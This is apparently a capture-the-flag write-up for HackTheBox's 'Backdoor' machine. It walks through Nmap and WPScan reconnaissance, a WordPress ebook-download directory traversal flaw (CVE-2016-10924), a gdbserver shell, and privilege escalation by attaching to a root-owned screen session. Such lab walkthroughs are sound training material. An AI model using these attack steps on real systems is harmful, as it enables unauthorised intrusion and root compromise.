Backdoor — HackTheBox

Foothold

We start as always with an Nmap scan

nmap 10.10.11.125                        
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-31 21:10 CEST
Nmap scan report for 10.10.11.125 (10.10.11.125)
Host is up (0.040s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.68 seconds

There are 2 services running on, SSH and HTTP

HTTP

With Wappalyzer we discover that the web application is made with WordPress, a CMS which has sometimes vulnerable plugins

We directly start with WPScan and we discover a File Trasveral vulnerability on the ebook-download plugin

[+] ebook-download
 | Location: http://10.10.11.125/wp-content/plugins/ebook-download/
 | Last Updated: 2020-03-12T12:52:00.000Z
 | Readme: http://10.10.11.125/wp-content/plugins/ebook-download/readme.txt
 | [!] The version is out of date, the latest version is 1.5
 | [!] Directory listing is enabled
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://10.10.11.125/wp-content/plugins/ebook-download/, status: 200
 |
 | [!] 1 vulnerability identified:
 |
 | [!] Title: Ebook Download < 1.2 - Directory Traversal
 |     Fixed in: 1.2
 |     References:
 |      - https://wpscan.com/vulnerability/13d5d17a-00a8-441e-bda1-2fd2b4158a6c
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10924
 |
 | Version: 1.1 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://10.10.11.125/wp-content/plugins/ebook-download/readme.txt

The PoC of the vulnerability is the following one

GitHub - rvizx/CVE-2016-10924: CVE-2016-10924 - Directory traversal vulnerability in WordPress…

Running the payload we notice that there is a gdb service running on 1337 port

Get CTFMania’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

On internet we find the way to obtain a shell with it, by creating a payload with msfvenom and doing few stuffs with gdb

Pentesting Remote GdbServer | HackTricks | HackTricks

And here we are, we finally got an user shell!

Privilege Escalation

With a linpeas scan we discover that there is a screen service enabled as root user

/bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root ;; done

The first step is to obtain an interactive shell with the following commands

script /dev/null
export TERM=xterm

Now we have to search the name of the screen running on

$ screen -ls root/
screen -ls root/
There is a suitable screen on:
        954.root        (05/31/24 19:04:53)     (Multi, detached)
1 Socket in /run/screen/S-root.

And finally the last step, open the screen to obtain the root shell

screen -r root/954.root
root@Backdoor:~# ls                                                             
root.txt

We have finally rooted the machine!